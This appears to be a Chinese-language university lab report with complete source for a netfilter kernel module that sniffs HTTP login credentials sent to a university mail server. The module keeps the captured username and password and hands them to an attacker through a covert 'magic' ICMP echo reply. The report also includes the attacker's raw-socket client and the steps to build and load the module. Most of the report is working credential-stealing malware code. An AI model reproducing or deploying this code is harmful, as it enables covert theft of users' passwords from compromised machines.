实验目的:
基于netfilter,实现对使用HTTP协议的网站的用户名和密码的窃取。
实验过程:
1. 对网址http://mail.ustc.edu.cn进行实验,在输入账号密码时开启wireshark抓包,可以得到以下包内容:
其中,uid为 cjccjc,password为 aaa123,分别是用户输入的账号和密码。
2. 被攻击者主要代码nfsniff.c
1) makefile文件
obj-m += nfsniff.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
2) 模块的初始化和退出清理
init_module注册两个netfilter挂钩,第一个用于监视传入流量(在NF_IP_PRE_ROUTING上)以尝试查找“神奇”ICMP数据包。下一个用于监视安装模块的离开机器的流量(在NF_IP_POST_ROUTING上)。cleanup_module()过程只是取消注册这两个钩子。
int init_module(void) {
pre_hook.hook = watch_in;
pre_hook.pf = PF_INET;
pre_hook.hooknum = NF_INET_PRE_ROUTING;
pre_hook.priority = NF_IP_PRI_FIRST;
nf_register_net_hook(&init_net, &pre_hook);
//第一个挂钩
post_hook.hook = watch_out;
post_hook.pf = PF_INET;
post_hook.hooknum = NF_INET_POST_ROUTING;
post_hook.priority = NF_IP_PRI_FIRST;
nf_register_net_hook(&init_net, &post_hook);
//第二个挂钩
printk("init_modulen");
return 0;
}
void cleanup_module(void)
{
nf_unregister_net_hook(&init_net, &pre_hook);
nf_unregister_net_hook(&init_net, &post_hook);
printk("cleanup_modulen");
}
3) 对包进行过滤操作,找出发送给ustcmail的TCP数据包。
static unsigned int findpkt(struct sk_buff *skb) {
struct iphdr *ip = NULL; struct tcphdr *tcp = NULL; char *data = NULL;
int tcp_payload_len = 0;
ip = (struct iphdr *)skb_network_header(skb);
if (ip->daddr != IP_202_38_64_8 || ip->protocol != IPPROTO_TCP)
return -1;
tcp = (struct tcphdr *)skb_transport_header(skb);
tcp_payload_len = ntohs(ip->tot_len) - (ip->ihl<<2) - (tcp->doff<<2); data = (char *)((char *)tcp + (tcp->doff<<2));
if (tcp->dest != htons(80) || tcp_payload_len < post_uri_len || strncmp(data, post_uri, post_uri_len) != 0)
{
return -1;
}
printk("--------------- findpkt ------------------n");
printk("ip_hdrlen:%dn", (ip->ihl<<2));
printk("tcp_hdrlen: %dn", (tcp->doff<<2));
printk("ip_total_len: %dn", ntohs(ip->tot_len));
printk("tcp_payload_len:%dn", tcp_payload_len);
printk("ip_addr: 0x%pn", ip);
printk("tcp_addr: 0x%pn", tcp);
printk("tcp_data_addr:0x%pn", data);
printk("hex : data[0-3] = 0x%02x%02x%02x%02xn", data[0], data[1], data[2], data[3]);
printk("char: data[0-3] = %c%c%c%cn", data[0], data[1], data[2], data[3]);
printk("--------------- findpkt ------------------n");
return 1;
}
4) watch_in函数
watch_in用于检查每个数据包来查看它是否是攻击者发来的请求魔术数据包,如果抓到魔术数据包的话就把找到的的账户密码等信息进行发送,返回NF_STOLEN告诉Netfilter忘记它曾经看到过这个数据包(Jedi Mind Trick的位)。
static unsigned int watch_in(void *priv,struct sk_buff *skb,const struct nf_hook_state *state)
{
struct iphdr *ip = NULL;
struct icmphdr *icmp = NULL;
int icmp_payload_len = 0;
char *cp_data = NULL; // copy pointer
unsigned int temp_ipaddr; // temporary ip holder for swap ip (saddr <-> daddr)
ip = (struct iphdr *)skb_network_header(skb);
//过滤掉非目标数据包
if (username == NULL || password == NULL|| ip->protocol != IPPROTO_ICMP)
return NF_ACCEPT;
icmp = (struct icmphdr *)((char *)ip + (ip->ihl<<2));
// 最后 8 字节为 ICMP 首部长度
icmp_payload_len = ntohs(ip->tot_len) - (ip->ihl<<2) - 8;
if (icmp->code != MAGIC_CODE|| icmp->type != ICMP_ECHO || icmp_payload_len < REPLY_SIZE)
{
return NF_ACCEPT;
}
//往回发送数据包
temp_ipaddr = ip->saddr;
ip->saddr = ip->daddr;
ip->daddr = temp_ipaddr;
skb->pkt_type = PACKET_OUTGOING;
switch (skb->dev->type) {
case ARPHRD_PPP: break;
case ARPHRD_LOOPBACK:
case ARPHRD_ETHER:
{
unsigned char temp_hwaddr[ETH_ALEN];
struct ethhdr *eth = NULL;
// Move the data pointer to point to the link layer header
eth = (struct ethhdr *)eth_hdr(skb);
skb->data = (unsigned char*)eth;
skb->len += ETH_HLEN; // 14, sizeof(skb->mac.ethernet); memcpy(temp_hwaddr, eth->h_dest, ETH_ALEN);
memcpy(eth->h_dest, eth->h_source, ETH_ALEN);
memcpy(eth->h_source, temp_hwaddr, ETH_ALEN); break;
}
}
// copy target_ip, username, password into packet
cp_data = (char *)icmp + 8;
memcpy(cp_data, &target_ip, 4);
memcpy(cp_data+4, username, 16);
memcpy(cp_data+20, password, 16);
printk("watch_in STOLEN ====> SUCCESSn");
printk("urlencode(username): %sn", username);
printk("urlencode(password): %sn", password);
dev_queue_xmit(skb); // 发送数据
kfree(username);
kfree(password);
username = password = NULL;
return NF_STOLEN;
}
5) watch_out函数
用来监听本机发出去的数据包。获取到目标数据包后,调用fetch_http()函数进行提取。
static unsigned int watch_out(void *priv, struct sk_buff *skb,const struct nf_hook_state *state)
{
if (findpkt(skb) == -1)
return NF_ACCEPT;
if (username == NULL || password == NULL)
check_http(skb);
return NF_ACCEPT;
}
6) check_http()函数
从wireshark提取数据包时可以看到,username和password出现在HTML from URL Encode层。从发出去的数据包中查找Content-Length,调用getUrlparam函数进行账户和密码的获取。
static void check_http(struct sk_buff *skb) {
struct iphdr *ip = NULL;
struct tcphdr *tcp = NULL;
char *data = NULL; // tcp data
int tcp_payload_len = 0;
int i = 0, index = -1;
int content_len = 0; // Cotent-Length
ip = (struct iphdr *)skb_network_header(skb);
tcp = (struct tcphdr *)skb_transport_header(skb);
tcp_payload_len = ntohs(ip->tot_len) - (ip->ihl<<2) - (tcp->doff<<2);
data = (char *)tcp + (tcp->doff<<2);
index = kmp(data, tcp_payload_len, "Content-Length: ", 16);
if (index == -1)
return;
data += (index + 16); // data point to: 77rn
for (i = 0; data[i] != 'r'; i++)
content_len = content_len*10 + ((int)data[i]-'0'); // now content_len = 77
// data point to layer: HTML Form URL Encode
data = (char *)tcp + (tcp->doff<<2) + (tcp_payload_len-content_len);
username = getUrlparam(data, content_len, "uid=", 4);
password = getUrlparam(data, content_len, "password=", 9);
if (username == NULL || password == NULL)
return;
printk("content_len = %dn", content_len);
printk("urlencode(username): %sn", username);
printk("urlencode(password): %sn", password);
}
7) getUrlparam()函数
利用kmp算法进行匹配,查找到类似于“uid=” 或 “password=”的字段,并获取确切的数据值value。
char * getUrlparam(char *urlparam, int ulen, char *key, int klen) {
int index = 0, i = 0;
char *value = NULL;
if ((index = kmp(urlparam, ulen, key, klen)) == -1)
return NULL;
urlparam += (index + klen);
ulen -= (index + klen);
// username, password 中本身就可能含有类似'&'这样需要进行编码的字
//符,urlencode('&') = %26
for (i = 0; i < ulen && urlparam[i] != '&'; i++);
if (i >= ulen)
return NULL;
// i + 1, for the last char '0'
if ((value = (char *)kmalloc(sizeof(char)*(i+1), GFP_KERNEL)) == NULL)
return NULL;
memcpy(value, urlparam, i);
value[i] = '0';
return value;
}
3. 攻击者主要代码getpass.c
1) 主函数
攻击者发送ICMP报告给被攻击者,当被攻击者收到该报告时,就会将账号和密码发送回来。
int main(int argc, char **argv)
{
if (load_args(argc, argv) < 0)
{
printf("command format error!n");
printf("example:getpass 192.168.1.1n");
return -1;
}
recvsockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
sendsockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
if (recvsockfd < 0 || sendsockfd < 0) {
perror("socket creation error");
return -1;
}
// 1) 发送 ICMP ECHO 回送请求报文
send_icmp_request();
// 2) 接收 ICMP ECHO 回送回答报文
recv_icmp_reply();
close(sendsockfd);
close(recvsockfd);
return 0;
}
2) send_icmp_request()函数
用于发送魔术数据包,发送一个CODE为MAGIC_CODE的icmp数据包给受害者。
int send_icmp_request() {
bzero(sendbuff, BUFF_SIZE);
// 构造 ICMP ECHO 首部
struct icmp *icmp = (struct icmp *)sendbuff;
icmp->icmp_type = ICMP_ECHO; // ICMP_ECHO 8
icmp->icmp_code = MAGIC_CODE;
icmp->icmp_cksum = 0;
// 计算 ICMP 校验和,涉及首部和数据部分,包括:8B(ICMP ECHO 首部) + 36B(4B(target_ip)+16B(username)+16B(password))
icmp->icmp_cksum = cksum((unsigned short *)icmp, 8 + 36);
printf("sending request........n");
int ret = sendto(sendsockfd, sendbuff, 44, 0, (struct sockaddr *)&remoteip, sizeof(remoteip));
if (ret < 0) {
perror("send error");
}
else {
printf("send a icmp echo request packet!nn");
}
return 1;
}
3) recv_icmp_reply()函数
用于获取受害者机器发来的icmp回复,并从中获取username和password进行输出。
int recv_icmp_reply() {
bzero(recvbuff, BUFF_SIZE);
printf("waiting for reply......n");
if (recv(recvsockfd, recvbuff, BUFF_SIZE, 0) < 0) {
printf("failed getting reply packetn");
return -1;
}
struct icmphdr *icmp = (struct icmphdr *)(recvbuff + 20); memcpy(&server_addr, (char *)icmp+8, 4);
// 打印 IP 包字节数据,便于调试
print_ippacket_inbyte(recvbuff);
printf("stolen from http server: %sn", inet_ntoa(server_addr));
printf("username: %sn", (char *)((char *)icmp + 12));
printf("password: %sn", (char *)((char *)icmp + 28));
return 1;
}
4. 攻击过程
1) 确保受害者主机上装载nfsniff模块。
执行:sudo make
sudo insmod nfsniff.ko
tail -f /var/log/syslog
2) 登录http://mail.ustc.edu.cn输入账号密码,点击sign in。
3) 在受害者主机点击了sign in发出数据包后,攻击者运行getpass代码,就可以获取到账号和密码。